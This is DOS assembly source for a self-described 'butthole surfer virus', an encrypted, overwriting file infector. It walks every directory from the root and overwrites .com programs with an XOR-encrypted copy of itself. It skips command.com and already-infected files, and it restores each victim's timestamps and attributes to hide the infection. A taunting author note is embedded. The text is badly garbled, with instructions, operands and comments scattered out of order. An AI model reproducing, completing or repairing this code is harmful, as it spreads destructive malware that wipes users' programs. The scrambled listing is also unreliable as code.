; butthole.asm -- butthole surfer virus ; written by johnny! virus_type is_encrypted tsr_virus code
1 1 0
; overwriting virus ; we're encrypted ; we're not tsr
segment byte public assume cs:code,ds:code,es:code,ss:code org 0100h
start main flag:
equ equ equ
label
near
proc near xchg di,ax xchg di,ax xchg di,ax xchg di,ax call
start_of_code call mov int main
encrypt_decrypt label
; decrypt the virus
near
search_files ax,04c00h 021h endp
search_files proc near push bp mov bp,sp sub sp,64
; find and infect a file ; dos terminate function
; save bp ; bp points to local buffer ; allocate 64 bytes on stack
mov xor lea int
ah,047h dl,dl si,[bp - 64] 021h
; dos get current dir function ; dl holds drive # (current) ; si points to 64-byte buffer
mov mov int
ah,03bh dx,offset root 021h
; dos change directory function ; dx points to root directory
call
traverse
; start the traversal
mov lea int
ah,03bh dx,[bp - 64] 021h
; dos change directory function ; dx points to old directory
mov pop ret
sp,bp bp
; restore old stack pointer ; restore bp ; return to caller
root search_files
db endp
"\",0
traverse
proc bp
near
push
; root directory
; save bp
mov int push
ah,02fh 021h bx
; dos get dta function
mov sub
bp,sp sp,128
; bp points to local buffer ; allocate 128 bytes on stack
mov lea int
ah,01ah dx,[bp - 128] 021h
; dos set dta function ; dx points to buffer
mov mov mov int jc
ah,04eh cx,00010000b dx,offset all_files 021h leave_traverse
; dos find first function ; cx holds search attributes ; dx points to "*.*"
check_dir:
cmp
; save old dta address
; leave if no files present
jne cmp je
byte ptr [bp - 107],16 ; is the file a directory? another_dir ; if not, try again byte ptr [bp - 98],'.' ; did we get a "." or ".."? another_dir ;if so, keep going
mov lea int
ah,03bh dx,[bp - 98] 021h
; dos change directory function ; dx points to new directory
call
traverse
; recursively call ourself
pushf mov mov int popf
ah,03bh dx,offset up_dir 021h
jnc
done_searching
; restore the flags
another_dir: mov ah,04fh int 021h jnc check_dir leave_traverse: mov call done_searching: mov mov pop int pop ret
; save the flags ; dos change directory function ; dx points to parent directory
; if we infected then exit ; dos find next function ; if found check the file
dx,offset com_mask find_files sp,bp ah,01ah dx 021h
; dx points to "*.com" ; try to infect a file ; restore old stack frame ; dos set dta function ; retrieve old dta address
bp
; restore bp ; return to caller
up_dir all_files com_mask traverse
db db db endp
"..",0 "*.*",0 "*.com",0
find_files
proc
near
; parent directory name ; directories to search for ; mask for all .com files
push
bp
; save bp
mov int push
ah,02fh 021h bx
; dos get dta function
mov sub
bp,sp sp,128
; bp points to local buffer ; allocate 128 bytes on stack
push mov lea int
dx ah,01ah dx,[bp - 128] 021h
; save file mask ; dos set dta function ; dx points to buffer
ah,04eh cx,00100111b dx 021h done_finding infect_file done_finding ah,04fh short find_a_file
; dos find first file function ; cx holds all file attributes ; restore file mask
mov mov pop find_a_file: int jc call jnc mov jmp
done_finding: mov sp,bp mov ah,01ah pop dx int 021h pop ret find_files infect_file
bp
; save old dta address
; ; ; ; ;
exit if no files found infect the file! exit if no error dos find next file function try finding another file
; restore old stack frame ; dos set dta function ; retrieve old dta address ; restore bp ; return to caller
endp mov int mov
proc near ah,02fh 021h si,bx
; dos get dta address function ; si points to the dta
mov
byte ptr [set_carry],0
; assume we'll fail
cmp jne
word ptr [si + 01ch],0 infection_done
; is the file > 65535 bytes? ; if it is then exit
cmp je
word ptr [si + 025h],'dn' ; might this be command.com? infection_done ; if it is then skip it
cmp jb
word ptr [si + 01ah],(finish - start) infection_done ; if it's too small then exit
mov lea int xchg
ax,03d00h dx,[si + 01eh] 021h bx,ax
; dos open file function, r/o ; dx points to file name
mov mov mov int
ah,03fh cx,4 dx,offset buffer 021h
; dos read from file function ; cx holds bytes to read (4) ; dx points to buffer
; bx holds file handle
rep
mov int
ah,03eh 021h
; dos close file function
push mov mov mov cmpsb pop je mov
si si,offset buffer di,offset flag cx,4
; ; ; ;
mov xor lea int
ax,04301h cx,cx dx,[si + 01eh] 021h
; dos set file attrib. function ; clear all attributes ; dx points to victim's name
mov int xchg
ax,03d02h 021h bx,ax
; dos open file function, r/w
push call pop
si encrypt_code si
; save si through call ; write an encrypted copy ; restore si
mov mov mov int
ax,05701h cx,[si + 016h] dx,[si + 018h] 021h
; dos set file time function ; cx holds old file time ; dx holds old file date
mov int
ah,03eh 021h
; dos close file function
mov xor mov lea int
ax,04301h ch,ch cl,[si + 015h] dx,[si + 01eh] 021h
; ; ; ;
si infection_done byte ptr [set_carry],1
save dta address before compare si points to comparison buffer di points to virus flag cx holds number of bytes (4) ; compare the first four bytes ; restore dta address ; if equal then exit ; success -- the file is ok
; bx holds file handle
dos set file attrib. function clear ch for file attribute cx holds file's old attributes dx points to victim's name
infection_done: cmp ret
byte ptr [set_carry],1 ; set carry flag if failed ; return to caller
buffer set_carry infect_file
db db endp
4 dup (?) ?
; buffer to hold test data ; set-carry-on-exit flag
butt_marker
db
"[butt]",0
; butthole creation marker
note
db db
db
"butthole surfer virus; special" "for our coastal brothers. have" "phun with this one."
encrypt_code proc near mov si,offset encrypt_decrypt; si points to cipher routine
xor int mov
ah,ah 01ah word ptr [si + 8],dx
xor xor xor
byte ptr [si],1 ; byte ptr [si + 7],1 ; change all sis to dis word ptr [si + 10],0101h; (and vice-versa)
rep
mov mov push push movsb
di,offset finish ; copy routine into heap cx,finish - encrypt_decrypt - 1 ; all but final ret si ; save si for later cx ; save cx for later ; copy the bytes
rep
mov si,offset write_stuff mov cx,5 movsb
; si points to write stuff ; cx holds length of write ; copy the bytes
rep
pop cx pop si inc cx movsb
; restore cx ; restore si ; copy the ret also this time ; copy the routine again
mov mov
ah,040h dx,offset start
; dos write to file function ; dx points to virus
call
finish
; encrypt/write/decrypt
ret
; low word of timer is new key
; return to caller
write_stuff: mov cx,finish - start int 021h encrypt_code endp end_of_code
; bios get time function
label
; length of code
near
encrypt_decrypt proc near mov si,offset start_of_code ; si points to code to decrypt mov cx,(end_of_code - start_of_code) / 2 ; cx holds length xor_loop: db 081h,034h,00h,00h ; xor a word by the key inc si ; do the next word inc si ; loop xor_loop ; loop until we're through ret ; return to caller encrypt_decrypt endp finish label near code
end
ends main